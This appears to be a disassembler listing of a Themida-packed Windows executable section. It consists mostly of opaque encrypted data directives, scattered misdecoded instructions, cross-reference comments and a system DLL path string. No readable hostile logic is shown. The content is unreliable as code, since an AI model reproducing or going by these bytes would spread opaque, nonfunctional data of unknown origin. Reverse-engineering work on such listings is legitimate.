dd 0E4876F02h, 40626D03h, 88ED0BF4h, 88A8E5BEh, 490066CDh
dd 14F7E081h, 7616E78h, 8E917076h, 8380D1DCh, 9FF89916h
dd 72DC36B0h, 44B09026h, 0DD30528Ch, 47575110h, 3CE03154h
dd 0C88F9111h, 761816DDh, 4D8114E6h, 69E024A3h, 44FC0C91h
dd 2EF42949h, 75F82C02h, 44ABE26Bh, 0A58207D4h, 7E3CBDAh
dd 22AD10AEh, 61268B0h, 444F6DB2h, 3BC8E7F9h, 0F5608E0h
dd 5CE0A411h, 1C536C29h, 0BC48AC00h, 0CD2BCF2Ah, 927C72FAh
dd 621AFF00h, 60D2C4Eh, 16D1247Fh, 0A7B10440h, 9C7C80CCh
dd 32F1988Eh, 0E8C91C2Ch, 64F50AC7h, 2A6C8259h, 0EE1430Eh
dd 0B2C1C521h, 14001A69h, 0D44AF07h, 73641E00h, 0CBC798B3h
dd 2A1B00B0h, 85D8238h, 3063462h, 8546AE76h, 988900D9h
dd 25D19D60h, 0ED0B8B58h, 87E6E5FAh, 8CC32271h, 0D4C3E008h
dd 0B2065C95h, 7B008842h, 0FACB3414h, 0F0063237h, 70461E89h
dd 312F0021h, 5CBCBD30h, 940044DAh, 732CECA2h, 0F830BDCh
dd 228847E5h, 3FE0532Eh, 0AA2B39D4h, 75E0D06h, 1498459h
dd 350304B2h, 48E7AEB5h, 0E6589EFCh, 248B0089h, 87E07AB6h
dd 58D718BAh, 0A7D93969h, 6B002979h, 0A962C953h, 196C5F2h
dd 9CEA34B6h, 24CAE4F4h, 0E5001000h, 9F60CBC9h, 2A9057h
dd 0D275A328h, 42CC9BDFh, 2B722100h, 0BC7FB338h, 48177D10h
dd 39392830h, 0B194A085h, 2ECC5C51h, 82123D5Ah, 4D4E0059h
dd 0E87E63EBh, 6EA60618h, 7CAF36A1h, 0B556051Ah, 919C045h
dd 20982984h, 0C800590Ah, 0E6AEF23h, 0E233D6DDh, 0C5C37987h
dd 5FE4BDB9h, 22B9C188h, 0D8DA2F76h, 0C509BCA8h, 0A07AD8CCh
dd 4D1E36F8h, 6D8F3406h, 680C9081h, 80B10DA4h, 0F8905980h
dd 678226h, 6BAAA251h, 892F6012h, 7A3E7D71h, 0B45704FAh
dd 0E8C17C03h, 68201E37h, 0DB60F8Ch, 7500B96Fh, 9DC71F4Ah
dd 6E032900h, 0C487AF84h, 395CA1F5h, 0A1F16510h, 0BEC5B00h
dd 0BEDC6766h, 3F447A6Bh, 0C3309516h, 0D9337C0h, 9006641Fh
dd 0D5F880E2h, 8F163EBBh, 0E0A0C8AAh, 1776C0F9h, 0A6FB45FDh
dd 0D3316A60h, 44F9ACBh, 0FDFAF5Fh, 67E09807h, 8F88726h
dd 92B8FB42h, 0A46294h, 0C369745Ch, 0B4614C8Fh, 8CE3AB0Bh
dd 8519E018h, 53725100h, 7E7056F5h, 714B00E1h, 0D70ECB38h
dd 790878BCh, 8FEFACF9h, 23E13CF0h, 0C4665A3Fh, 130FFD98h
dd 617174FCh, 8E49A4D4h, 0F2CE3040h, 0D5E2004Eh, 0B4C1EA11h
dd 0A1359E0h, 98081EB7h, 58158D44h, 804E0h, 21C691D4h
dd 986059D0h, 50E657D9h, 0C9510087h, 0BC1DFF1Fh, 0CCA80DE7h
dd 672C129Fh, 0A5008316h, 20CB66DFh, 82931DBAh, 3DF980BEh
dd 326CF073h, 0CE15E2B8h, 944D8Eh, 0E2346C2h, 47F363h
dd 0B8527BC7h, 5AFAF78Dh, 0E8368812h, 0B6BF3820h, 703500AAh
dd 9FFF10CAh, 0FB1F3471h, 7EA3E6h, 41AE5CD5h, 0E203C9h
dd 9B4A4CE0h, 8287BA8Ch, 0CB1278B2h, 680F389Fh, 0FCB0402Fh
dd 2C23EBD5h, 7FCC834h, 433B8BBFh, 14908185h, 6800748Ah
dd 0D38E40A9h, 2AB33D3Ch, 1F8C8759h, 0C9B4F726h, 8A8054FAh
dd 0DED7526Dh, 1797BB12h, 1E84889h, 0A2FC006Eh, 98B46C26h
dd 911729F7h, 5200A1ACh, 0C59FFD2Dh, 0EF55F6BDh, 0F61E031h
dd 4D9DA88Eh, 410E5C9h, 2E125CEDh, 190093D9h, 7AACFFDBh
dd 45171D0Ah, 5DC6006Fh, 36767866h, 8352E502h, 0A040B121h
dd 1FEF45B8h, 867B1D6Bh, 5A1167Dh, 805B4970h, 6883CAD1h
dd 5310BF09h, 4D84494h, 0BC068CC5h, 9EA88C70h, 7D020F12h
dd 64E81C22h, 4DEC0030h, 5999737Bh, 1C01E5BAh, 0A3DC48CDh
dd 0A7F65336h, 81F9A02Ch, 0AE1DB308h, 58CABCE0h, 0AB017456h
dd 638272C3h, 3422BDh, 0DD7D69B0h, 0EDB4401h, 3E118D26h
dd 0C01CB565h, 70C7E0AEh, 2A0E848h, 191672CAh, 9C4CA775h
dd 514C2A00h, 509548EFh, 1D24B501h, 80458E59h, 35B91FC9h
dd 0E499ABEBh, 586707C2h, 0D566877Fh, 53C803F1h, 899A5007h
dd 0BCB8F620h, 111360ABh, 4286956Ch, 306E8530h, 0B20D239Fh
dd 0B9AF00E0h, 70A8DC81h, 7740EECh, 0D556388h, 8E519B1h
dd 62C2E449h, 169E43Ch, 0CEFCA204h, 0D429FD87h, 1F7D7600h
dd 294F621Ch, 69730E01h, 0B44B5E78h, 7ED77885h, 0C8284EEFh
dd 28491F00h, 0CB304ABCh, 0DFB2880Fh, 42B898A0h, 5CE522F0h
dd 6E006415h, 2B5AEA01h, 13160C3Fh, 0A41DB62Fh, 46B1FFC6h
dd 95C53EC1h, 6FD3EA00h, 1F12A4D7h, 8EB89100h, 52864817h
dd 874E162Bh, 1A482C0Ah, 220279F0h, 6503C440h, 8C37603Fh
dd 0C5872505h, 82B74C98h, 0D9C99200h, 0D7C74D5Eh, 9D3D58C1h
dd 95FC4C55h, 939F67Fh, 0A9C3F7A5h, 9801FE0Bh, 80E1E874h
dd 63A4EC71h, 7D3AD19h, 0A627F0Ch, 28561058h, 30C24009h
dd 6459A376h, 0DDD300ECh, 1542D60Bh, 49C026BDh, 6F1354CBh
dd 0B2853556h, 0DC700470h, 39B0502Ah, 0B2C4CBFh, 22B26Fh
dd 16172B3Ch, 20694BE3h, 80EBB45Ch, 7FD84E00h, 908375D3h
dd 211402FAh, 5E65FB8Bh, 2DB1B449h, 4C740FECh, 0BB059D40h
dd 0F500C199h, 0C48C64ECh, 18151C50h, 60FDBA1Dh, 0A49C8055h
dd 56E816BDh, 66CBDA1Bh, 0AE6EE0E8h, 0C7872430h, 1754060h
dd 0F506C10Dh, 5EE54608h, 0BFEE0319h, 2D11CE78h, 0DF5868F8h
dd 0B09B0301h, 90B87B4h, 56742981h, 80AE2C8Fh, 2EF59560h
dd 8807E508h, 50004593h, 8424046Ch, 98617CA1h, 0A03102CCh
dd 0EBDC1B3h, 3EEDA0A0h
dd 3A009B39h, 0C036C598h, 7D708Ah, 37EE910Ch, 0BB2E545Eh
dd 0BD16C900h, 0B524A111h, 89E0CA5h, 767106ACh, 9FBC6F4Eh
dd 7456D30Eh, 0DF209A6Fh, 150D2A18h, 3286203h, 127E893h
dd 0A4E27A79h, 30A64F5Bh, 0F91C14A0h, 81C90BE4h, 0EAB4033Eh
dd 0C068A205h, 2C750D4h, 0F26B3A8h, 0F44079BFh, 844E6994h
dd 33E75006h, 0CE8F0359h, 3B4F7E15h, 1EEBE8C0h, 482E0890h
dd 0D0127BEh, 0F7B5430h, 8EB73189h, 4C5CF048h, 2F451800h
dd 17010958h, 89AD3B36h, 8846B592h, 71006764h, 0C4914882h
dd 52CFEBh, 78ED61D1h, 0AC95BF59h, 91F044h, 4FF82DD9h
dd 1872E16Fh, 21B91000h, 6CDEB01Ch, 0EA0F2EFEh, 0AD6C4F0Ch
dd 0E8226DD0h, 8CD40038h, 79C04712h, 8B13626Fh, 0D301BB7Dh
dd 0FEBE2E0Dh, 0F383E03Ch, 0DBF8C2BFh, 45EA9110h, 48FCD1E8h
dd 0ECE0C40Bh, 9050891Ah, 6C2D30h, 0B92E3C55h, 1C22A347h
dd 3FC2A500h, 0F6A7DBB8h, 5C575C49h, 0AC614D32h, 6600C8E4h
dd 0FC1921F2h, 506F52A1h, 92B3D308h, 89BF5048h, 664262Ch
dd 0E41D1428h, 0DC977414h, 0FBC3D804h, 0A3CC8846h, 0ECF34503h
dd 0BF2C516Bh, 96868E65h, 91550302h, 5F5CE01Ch, 0B1AD8C00h
dd 6A372A08h, 0B7B502A0h, 0E8066966h, 4600A864h, 0DDA7DA8h
dd 90EA57Fh, 0A0F2EB04h, 6F0090E4h, 58C2F989h, 0CAB96597h
dd 608CD298h, 0A5F5ED35h, 52005AECh, 8778B973h, 28A1EC0h
dd 0A417D6E6h, 0E86129ADh, 41B01209h, 0E880164Eh, 6BDFEBD0h
dd 8F0281C0h, 0DBC43633h, 4E90E027h, 0E2F901B0h, 31720FD3h
dd 4422BEh, 6AED2A7Ah, 14F8B1Fh, 0ABD7913h, 3C65DA5Ch
dd 0A65380A0h, 8045B4h, 0F08F766Ah, 0EBEEFE20h, 94040300h
dd 0FD08CE4Bh, 1C9803D6h, 84467F1Bh, 2205D974h, 1E8DE69Bh
dd 0E20218A3h, 6105A9FEh, 6A668560h, 0B67BB804h, 448C9F49h
dd 0EBAA0E58h, 21E9937h, 538ECEEFh, 7B005C44h, 446B9078h
dd 215C7A9h, 0C56AEF59h, 94C0EA68h, 292C5AC0h, 8C601064h
dd 0BEE6B1h, 0FC1826CCh, 0BD6483E9h, 0B7EAFD02h, 5A8EBB7Eh
dd 0CD7B00BCh, 0B44F816h, 680060ECh, 1546C0CCh, 1C18B657h
dd 534E0E6h, 0B084B917h, 0B8A0DE38h, 9B26BE2Dh, 6E80D070h
dd 7C368E51h, 9A7F0740h, 80DB5D42h, 39DF78BCh, 0BE073212h
dd 5480426h, 987B0CBh, 0AA9088E2h, 0BE66D896h, 62889C9Ch
dd 7C48EA6Ch, 8B32BB61h, 794988B1h, 647701E4h, 0D0A71EEEh
dd 0A00440Eh, 185E4ACAh, 0C4596A1h, 734EC28h, 3313D560h
dd 8C90E64Ch, 5D0670h, 27DE530Fh, 78C6F52Ah, 0D8D0700h
dd 348FD560h, 99E8E21Bh, 0CA16F0h, 2FA9E355h, 5601F0F5h
dd 831FE580h, 0DCDDD7BEh, 52D1DACCh, 0FFFF01CCh, 60FBh
db 3 dup(0)
; ---------------------------------------------------------------------------
loc_58248B: ; CODE XREF: Themida_:loc_515265j
; DATA XREF: Themida_:loc_515086o
jmp loc_585A20
; ---------------------------------------------------------------------------
dd 3 dup(0)
dd offset a2vsr3vsr ; "2vsR3vsR"
dd 4 dup(0)
dd 7C85A034h, 0A280105h, 6 dup(0)
dd 102E9FACh, 7 dup(0)
dd 0B61C1Ch, 0
dd 0FD1F9FD0h, 0
dd offset unk_513000
dd 2 dup(0)
dd 94654E49h, 0
dd offset loc_5C0023
dd 0
dd 7C90EB94h, 0
dd 5ECh, 0BCh, 2 dup(0)
dword_582534 dd 12E8h, 0 ; Themida_:00583030o ...
dd 0BB0B3Ch, 10h dup(0)
db 90h
db 24h, 2 dup(0)
dd 6 dup(0)
dd 25D6F10h, 4 dup(0)
dd offset byte_5DAFF5
dd 0F547EB7Ch, 6 dup(0)
dd 836F146Ch, 0Dh dup(0)
dd 23F6A4EEh, 0
dd 7BDFD385h, 2 dup(0)
dd offset dword_5F3698
dd 0
dd offset byte_5C139B
dd 7C800000h, 0
dd offset loc_5BFAD6
dd 9 dup(0)
dd 0C10000h, 0Ah dup(0)
dd 77DD7883h, 4 dup(0)
dd offset loc_60C639
dd 7 dup(0)
dd 32597F5Dh, 0
dd 99C65C8h, 3 dup(0)
dd offset loc_5B4B69
dd 2 dup(0)
dd offset loc_5D35A7
dd 0Ah dup(0)
dd 0B41CF7h, 2 dup(0)
dd 0FFA7B9FCh, 0
dd 71681150h, 0
dd 0F0h, 6 dup(0)
dd 0FB9B3820h, 7 dup(0)
dd 0B0h, 1Bh dup(0)
dd 7C90EB94h, 0
dd 0BB0B3Ch, 9 dup(0)
dd offset dword_5C09BC
dd 4 dup(0)
dd 7C90EB94h, 1, 6 dup(0)
dd 0FFA443D9h, 6 dup(0)
dd 0FF4EE7F1h, 9 dup(0)
dd 0EF0h, 0
dd 0BB0B3Ch, 4B69h, 0
dd 1320132h, 5 dup(0)
align 10h
dd 7C90EB94h, 3 dup(0)
dd 0A0h, 0
dd 12FE80h, 3 dup(0)
dd 0B48B32h, 0
dd 7C90EB94h, 0
dd 1, 3 dup(0)
dd offset dword_582534+4
dd 0B8h, 15h dup(0)
dd 7C90EE18h, 0
dd offset dword_57F990+693h
dd 7 dup(0)
dd 7C90EB94h, 4 dup(0)
dd 836F146Ch, 233FFB0h, 582538h, 0
dd offset loc_5C0000
dd 7 dup(0)
dd offset loc_5C2404+3
dd offset sub_5BA363
dd 725CFBFEh, 5 dup(0)
dd 710BCFFDh, 0
dd 7D0Dh, 0
dd 0FF9E6B63h, 0
; ---------------------------------------------------------------------------
retn
; ---------------------------------------------------------------------------
db 0Bh, 5Ch, 0
align 10h
a6666 db '6666',0
align 4
dd 13h dup(0)
dd 140D7335h, 6 dup(0)
dd 837C86BBh, 4 dup(0)
dd 77EDD0h, 0Eh dup(0)
dd 0C8h, 7C90EB94h, 3D94h, 2 dup(0)
dd 12FFC4h, 0E8h, 2 dup(0)
dd offset dword_583210
dd 9 dup(0)
dd 7F1A94E3h, 2 dup(0)
dd 0DF55DD8h, 4 dup(0)
dd 9E0B9665h, 94h, 0A9C530DFh, 52Ah, 4 dup(0)
dd 0FFC00000h, 3 dup(0)
dd offset loc_5DCBE3+5
dd 6 dup(0)
dd 17944h, 0FFA30FF8h, 0F87FF48Bh, 0
dd 370FE853h, 2 dup(0)
dd 12FF22h, 7 dup(0)
; ---------------------------------------------------------------------------
jmp near ptr byte_582D01
; ---------------------------------------------------------------------------
align 4
dd 7 dup(0)
dd 0FFFFFF05h, 17h dup(0)
dd 7EBBFFFCh, 2 dup(0)
dd offset byte_5DB495
dd 0
dd offset loc_5B4B69
dd 3 dup(0)
dd 0FFFFh, 0DF568CFh, 27h dup(0)
db 0
byte_582D01 db 3 dup(0) ; CODE XREF: Themida_:00582BB4j
dd 2 dup(0)
dd offset loc_5DEE0F
dd 6 dup(0)
dd offset byte_612D59
dd 7C906B94h, 0Ah dup(0)
dd offset loc_60C7C7+5
dd 0Bh dup(0)
dd 7C90EB94h, 2 dup(0)
dd 0FFA07B82h, 0B11A44h, 0
dd 1AE9h, 9Ch, 0F1B3BF49h, 2 dup(0)
dd offset byte_401000
dd 0
dd offset loc_5B63BD
dd 2 dup(0)
dd 0FFA4052Ah, 5 dup(0)
dd 0B73F0Fh, 0
dd offset loc_5F4958
align 10h
dd 71681151h, 12FF54h, 0
dd 7C809B47h, 76E29EAAh, 4 dup(0)
dd offset dword_5C1D50
dd 6 dup(0)
dd 2, 13h dup(0)
dd 0FBh, 5E4D75h, 2 dup(0)
dd 94654E49h, 4 dup(0)
dd offset loc_5F5BE8
dd 6 dup(0)
dd 67418783h, 3 dup(0)
a333333333333 db '333333333333',0
align 10h
dd 0
db 90h
align 4
dd 0
dd 0B70213h, 26152FA0h, 8 dup(0)
; ---------------------------------------------------------------------------
retf
; ---------------------------------------------------------------------------
db 0DEh, 5Dh, 0
dd 3 dup(0)
dd 0C246DA44h, 2 dup(0)
dd 0B1FA37h, 0
dd offset byte_5C53C9
dd 2 dup(0)
dd 12FFA4h, 0
dd offset byte_5D1EDD
dd 3 dup(0)
dd 7C90EB94h, 6 dup(0)
dd 0ACh, 60B097h, 0Ah dup(0)
dd 79F002E7h, 3 dup(0)
dd 7C80180Eh, 2 dup(0)
dd 0CEh, 0FFFFFEF8h, 0Ah dup(0)
dd 341EF1FBh, 2 dup(0)
public start
start dd 3 dup(0)
dd offset loc_5B9732
dd 6 dup(0)
dd 12FEF0h, 0
dd offset dword_582534+4
dword_583034 dd 0FFA7DAC8h, 62h dup(0) ; Themida_:00584340o
dd 5643h, 9A490501h, 3 dup(0)
dd 836E6515h, 0Dh dup(0)
dd offset loc_5DEE0F
dword_583210 dd 724h, 4CB57A79h, 0 ; Themida_:00583A7Co ...
dd 0FFA3DC1Ah, 4 dup(0)
dd 0D791D07Fh, 1E6EC5C6h, 0E1DE586h, 2 dup(0)
dd 491EF6F6h, 2 dup(0)
dd 60079A95h, 6 dup(0)
dd 77DD0000h, 5F4B12h, 5 dup(0)
dd offset byte_5EB785
dd 5 dup(0)
db 0CCh
align 10h
dd offset loc_5C09F9
align 8
dd 1, 0BE366EB9h, 0
dd 26D0000h, 7CDCDD81h, 0B11842h, 2 dup(0)
dd 12FFA4h, 2 dup(0)
dd 3FD56250h, 0
dd offset loc_5F59CE
dd 2 dup(0)
dd 0B3FCADh, 0Ah dup(0)
dd 23F6A4EEh, 0
dd 0F874248Ah, 9 dup(0)
dd offset loc_5CB1B3
dd 7 dup(0)
; ---------------------------------------------------------------------------
fbstp tbyte ptr [eax]
lds ebp, [ecx+0]
retn 5CAEh
; ---------------------------------------------------------------------------
align 10h
dd 7 dup(0)
dd 20h, 0
dd offset dword_5833B4
dd 0
dd 0FFFF7CAFh, 0
dword_5833B4 dd 0 dd 0BB0B3Ch, 7C90EB94h, 5 dup(0)
dd offset byte_5FD3D9
dd 0B1180Fh, 6 dup(0)
dd 7C90EB94h, 5 dup(0)
dd 7E41A8ADh, 7FB4FFD5h, 0B9h dup(0)
dd 0B61C1Ch, 12FFF0h, 3 dup(0)
dd 7C81CDDAh, 10h dup(0)
dd 7C8111DAh, 2 dup(0)
dd 370h, 2 dup(0)
dd 0E23DFDB1h, 29h dup(0)
dd offset word_5C9EE6
dd 2 dup(0)
dd 0B18D20h, 0
dd 1F39CF3Fh, 60D18Dh, 3 dup(0)
dd 7C814AF2h, 5DA542h, 0
dd 0B0E9h, 0B1AEA1h, 4 dup(0)
dd 3C799B6Eh, 3 dup(0)
dd 0FFAE1ED5h, 0
dd 73AC1555h, 1F9607BDh, 5 dup(0)
dd 0B10A25h, 3 dup(0)
dd offset loc_5DF500+1
dd 2 dup(0)
dd 0B11A38h, 0
dd 0FFFF997Ch, 0
dd 0FFFE87A8h, 0Ah dup(0)
dd offset word_5DA21A
dd 3 dup(0)
dd offset dword_5C1D50
dd 5 dup(0)
dd offset loc_5E2176
align 8
dd 7C803ED3h, 2 dup(0)
dd 254002Ch, 9 dup(0)
dd 0B1A8CFh, 9 dup(0)
dd offset dword_5E16C0
dd 0
dd 0DCDC9C4Dh, 2 dup(0)
dd 0FF44F4C4h, 0
dd 0A9C530DFh, 76F21510h, 2 dup(0)
dd offset loc_5C0023
dd 4 dup(0)
dd 4001D0h, 9 dup(0)
dd 0FFFFFFFFh, 2 dup(0)
dd 7E4505FCh, 0
dd 77DDEE37h, 0
dd 4AB27FFFh, 7C80B4CFh, 725CFBFEh, 2 dup(0)
dd 0A4h, 3 dup(0)
dd 1, 4 dup(0)
dd offset loc_5EBF84+1
dd 9 dup(0)
dd 7C80ABDEh, 3 dup(0)
dd 400000h, 4 dup(0)
dd offset dword_583210
dd 3 dup(0)
dd offset sub_5B94B1
dd 0
dd 836F146Ch, 0Dh dup(0)
dd 224C2CE0h, 2 dup(0)
dd 0FFFFFFFFh, 3 dup(0)
dd 7C802CB0h, 5B2425h, 7C81CDDAh, 5C23E6h, 5F4BFFh, 0
dd 2644h, 0
dd 3C7BD69h, 7 dup(0)
dd offset dword_583034+4
dd 7 dup(0)
aCWindowsSystem db 'C:\WINDOWS\system32\ADVAPI32.dll',0
align 4
dd 39h dup(0)
dd 3F64h, 5 dup(0)
dd offset loc_5B970A
; ---------------------------------------------------------------------------
push es
retf
; ---------------------------------------------------------------------------
dw 5Dh
dd 3 dup(0)
dd 0FFFFFFFEh, 1, 5 dup(0)
dd offset loc_5F4763
dd 98h, 2 dup(0)
dd 0FBh, 144828h, 0
dd offset dword_5C8B28
dd 4 dup(0)
dd 0FFFC7773h, 4 dup(0)
dd 7C90D4F6h, 2 dup(0)
dd offset byte_5CCDE5
align 10h
sub eax, 6C00BB0Bh
jmp short loc_583D52
; ---------------------------------------------------------------------------
align 4
dd 3 dup(0)
dd 1B3FFB0h, 0
dd 44B9339h, 0Ah dup(0)
dd offset loc_586853
dd 4F33790Dh, 0FFA43473h, 7C863F58h, 2 dup(0)
db 0D0h, 5Fh
; ---------------------------------------------------------------------------
loc_583D52: ; CODE XREF: Themida_:00583CF5j
pop ebx
; ---------------------------------------------------------------------------
db 0
dd 3 dup(0)
db 90h
db 12h, 0F2h, 76h
dd 0FFFF9E1Ch, 0
dd 22536AFCh, 0
dd offset byte_5FF861
dd 0
dd 7C90EB94h, 8 dup(0)
dd 836F146Ch, 0
dd 0FFFF7FE7h, 2 dup(0)
dd 83FF691Fh, 7C90EB94h, 5 dup(0)
dd 7C90EB94h, 7 dup(0)
dd 7C916315h, 2 dup(0)
dd 0B18E51h, 3 dup(0)
dd 75ADF725h, 3 dup(0)
dd 11688F6h, 0B1FA03h, 5 dup(0)
dd 7C90EB94h, 0
dd offset dword_5C1D10
dd 6 dup(0)
dd 7Ch, 0
dd 0FFFFEB94h, 5B9497h, 0B1180Fh, 7 dup(0)
dd 112000h, 0Ah dup(0)
dd 12FE80h, 0
dd offset dword_5B00C0
dd 2 dup(0)
dd 7C90EB94h, 2 dup(0)
dd 7C90EB94h, 2 dup(0)
dd 0B2448EEEh, 0
dd 7C916315h, 8 dup(0)
dd offset byte_5C2BA5
dd 6 dup(0)
dd 0FFA7FFDDh, 4 dup(0)
dd 6222BEA3h, 3 dup(0)
dd 7378471Bh, 3 dup(0)
dd 7C90D4F6h, 2 dup(0)
dd 4F000h, 0
dd 29h, 3 dup(0)
dd 0B137ECh, 5 dup(0)
dd 0B71E69h, 582538h, 76B178BFh, 5E8724h, 3 dup(0)
dd 1E0A8C0h, 3 dup(0)
dd 9B0A799h, 2 dup(0)
dd 0B812B624h, 4 dup(0)
dd 26F0000h, 4 dup(0)
dd offset loc_60D748
dd 2 dup(0)
dd 8Ch, 7C80ADA0h, 4 dup(0)
dd 115014h, 5 dup(0)
dd 7C80003Eh, 0
dd 12FF54h, 6 dup(0)
dd 0FFFFFFFFh, 7C801D77h, 2 dup(0)
dd offset dword_583210
dd 0
dd 26E0000h, 9 dup(0)
dd 0BB0B3Ch, 7 dup(0)
dd 127B268h, 0
dd 0FFA399DCh, 2 dup(0)
dd offset loc_5F8CF2
align 8
dd 7C801A24h, 0
dd 21E000h, 5FC39Bh, 0
dd 7C90EB94h, 0
dd 2 dup(22222222h), 7C80003Eh, 2 dup(0)
dd 73ED3B0Fh, 0
dd offset loc_5E8724
dd 5 dup(0)
dd 2970000h, 5 dup(0)
dd 0FFFFFAD6h, 5F45EDh, 2 dup(0)
dd 12FE80h, 0
dd 0DEE70389h, 5 dup(0)
dd 4, 5 dup(0)
dd 111F148h, 9 dup(0)
dd 5EC71947h, 4 dup(0)
dd 7B8B4D95h, 0
dd 836F146Ch, 0
dd 0B4h, 7C90EB94h, 0B18B28h, 2 dup(0)
dd 0C0h, 0
dd offset loc_5B975A
align 10h
dd 0CDA680A3h, 2000h, 3 dup(0)
dd 0A70000h, 0
dd 0A7542CA1h, 11h dup(0)
dd 0FFFF997Ch, 0
dd 7E410000h, 0Bh dup(0)
dd 7C801A24h, 0A8h, 60C1BEh, 0
dd 1, 5 dup(0)
dd offset sub_586067
dd 0DC8C0000h, 3 dup(0)
dd offset loc_60D748
dd 4 dup(0)
dd 0FAB5C3C4h, 5BFAD6h, 0
dd 0A9C530DFh, 2 dup(0)
dd 0B731E5h, 2 dup(0)
dd 0FE8F0BE8h, 0
dd 0B8h, 2 dup(0)
; ---------------------------------------------------------------------------
retn
; ---------------------------------------------------------------------------
db 0Bh, 5Ch, 0
dd 0
dd 0EFDBB00Eh, 4 dup(0)
dd offset dword_583034+5
dd 2 dup(0)
dd 48E9h, 5A219A71h, 0
dd 0E099868Dh, 0Ah dup(0)
dd 0FFFF9A58h, 5 dup(0)
dd 0FFA7DAC8h, 0
dd 7C801A24h, 0
dd 7C802CACh, 0
dd offset loc_5BEE4C+3
align 10h
dd 0B18EE4h, 1FE8h, 3 dup(0)
dd 32597F5Dh, 11h dup(0)
dd offset sub_5BFAE8
dd 2 dup(0)
dd 0FFFF9DB0h, 0Ch dup(0)
dd 0A9C530DFh, 0B10E24h, 0
dd 22536AFCh, 5 dup(0)
dd 7C800B42h, 5D43CCh, 0
dd 1, 0EAA09E08h, 3 dup(0)
dd 1, 0
dd 7135815Fh, 5C82E7h, 5BA363h, 4 dup(0)
dd offset loc_5FCE0B
dd offset sub_5DD9AB
dd 16h dup(0)
dd 0FFFFFFFFh, 0FFA0B261h, 5 dup(0)
dd 7C90EB94h, 19h, 4 dup(0)
dd 0B42878h, 2 dup(0)
dd 0CDA680A3h, 2 dup(0)
dd 0D0000h, 2 dup(0)
dd offset loc_5BEB6C
dd 3 dup(0)
dd 0FF4EE7F1h, 0Ch dup(0)
dd 77DD6BF0h, 2 dup(0)
dd 0B10000h, 3 dup(0)
dd 7C90EB94h, 3 dup(0)
dd 0AAF9FCh, 0
dd 7E41A8ADh, 4 dup(0)
dd 0BB0B3Ch, 2 dup(0)
dd 7C80180Eh, 7C90EB94h, 2C000h, 7C90EB94h, 0
dd 148E9h, 0B5D76813h, 4, 3 dup(0)
dd offset loc_5F8CCD
dd 2 dup(0)
dd 7C810A77h, 10h dup(0)
dd 979h, 0D24h, 0B12918h, 0
dd 337D5h, 0EB5B05F8h, 9 dup(0)
dd 203FFB0h, 7C90EB94h, 0
dd offset sub_5BA363
dd 0
dd 7C900000h, 6 dup(0)
dd 836F146Ch, 7 dup(0)
dd 0BCh, 3 dup(0)
dd 76F36C5Bh, 0
dd 12FE7Ch, 2 dup(0)
dd 12FF54h, 0
dd 1BD0Ah, 2 dup(0)
dd 789Bh, 0
dd 0CDA680A3h, 3 dup(0)
dd 7CEF1B06h, 0
dd 4, 2 dup(0)
dd 32h, 0
dd 0A0h, 0
dd 77DFC41Bh, 3 dup(0)
dd 61h, 2 dup(0)
dd offset word_5FFFA6
dd 2 dup(0)
dd offset loc_5BFAD6
dd 3 dup(0)
dd offset byte_612D59
dd 2 dup(0)
dd 836F146Ch, 77DDEDE5h, 5F5974h, 4 dup(0)
dd 0C246DA44h, 76B178BEh, 2 dup(0)
dd 44118644h, 3 dup(0)
dd 5C233A1Dh, 5C3B1Ch, 5 dup(0)
dd offset loc_5F4CB3
dd 2 dup(0)
dd offset dword_5864EC
align 10h
dd 12FE80h, 8DC5h, 5 dup(0)
dd 7C90EB94h, 3 dup(0)
dd 0B18E51h, 3 dup(0)
dd 25D6E06h, 2 dup(0)
dd offset word_607F42
dd offset aRlLbIejSNSNebo ; "RΤ`B\b
¦Ήι\a΅-Ίι\a
‘["
dd 3 dup(0)
dd 0BB0B3Ch, 2 dup(0)
dd offset dword_582534+4
align 10h
dd 24242424h, 0Ah dup(0)
db 90h
db 0DEh, 5Ah, 19h
dd offset loc_5DDE35
align 10h
dd 73EDEFFCh, 8A8h, 7C900000h, 5850FCh, 5 dup(0)
dd offset loc_5B08FF
dd 0
dd 0B55000C0h, 0Dh dup(0)
dd 0B18B28h, 4 dup(0)
dd 0B22493h, 3 dup(0)
dd 0DE8h, 6 dup(0)
dd 12FFA4h, 0
dd 2E5Ch, 13h dup(0)
dd 12FFA4h, 77DDEBE7h, 52F5FEA7h, 6 dup(0)
dd offset byte_612D59
align 8
dd 1B7B01C8h, 5 dup(0)
dd 1, 63DB14C8h, 0
dd 2591D5DFh, 1, 7C812A09h, 3 dup(0)
dd 0BB0B3Ch, 0FEEAE4D7h, 6 dup(0)
dd 223FFB0h, 0FF44F4C4h, 2 dup(0)
dd offset loc_5F425D
dd 0
dd offset byte_612D59
dd 5 dup(0)
dd 7C3190C8h, 3 dup(0)
dd 5BE8h, 0
dd 0F874248Ah, 0B1AAA1h, 2 dup(0)
dd 623F9AC4h, 0
dd 0D24h, 0FFFFAC6Bh, 2 dup(0)
dd 0F82EFCh, 2 dup(0)
db 90h
db 17h, 0F2h, 76h
dd offset byte_612D59
dd 3 dup(0)
dd 0FFA4A030h, 2700000h, 2 dup(0)
dd offset dword_5CBE30
dd 0
dd 0B1180Fh, 3 dup(0)
dd offset byte_5C173F
dd 5 dup(0)
dd 0FFA20882h, 0
dd 2, 5 dup(0)
dd 0B48B0Dh, 3 dup(0)
dd 0B61C1Ch, 0
dd 0B1180Fh, 0
dd 1320132h, 0
dd offset loc_5BFAD6
dd 0Ah dup(0)
dd 12FF54h, 2 dup(0)
dd 0E8h, 0D532h, 0Eh dup(0)
dd offset loc_5C7B2B
align 10h
dd 8A31177h, 4 dup(0)
dd 12FFA4h, 5F1E22h, 3 dup(0)
dd 0FFFFFFFFh, 0
dd 7C90EB94h, 81h dup(0)
dd 62674F91h, 5FC39Bh, 6 dup(0)
dd 7C904664h, 5EC8h, 2 dup(0)
dd 32597F5Dh, 2 dup(0)
dd offset loc_600001+3
dd 1, 0
dd 0C246DA44h, 0B48B0Dh, 0
dd 3028D8Dh, 3 dup(0)
dd 9D6047F9h, 3 dup(0)
dd offset loc_5F4CB3
dd 0Ah dup(0)
dd 3D94h, 2 dup(0)
dd 89B58247h, 2 dup(0)
dd 86555974h, 0
dd offset loc_5C2404+3
dd 9 dup(0)
dd 836F11E8h, 9 dup(0)
dd 1D517BFh, 0
dd 7D1h, 2 dup(0)
dd offset byte_5C53C9
dd 5 dup(0)
dd offset dword_582534+4
align 10h
dd 0FFFFFFFFh, 0Ch dup(0)
dd 81A5A47Dh, 4 dup(0)
dd 2D59h, 3 dup(0)
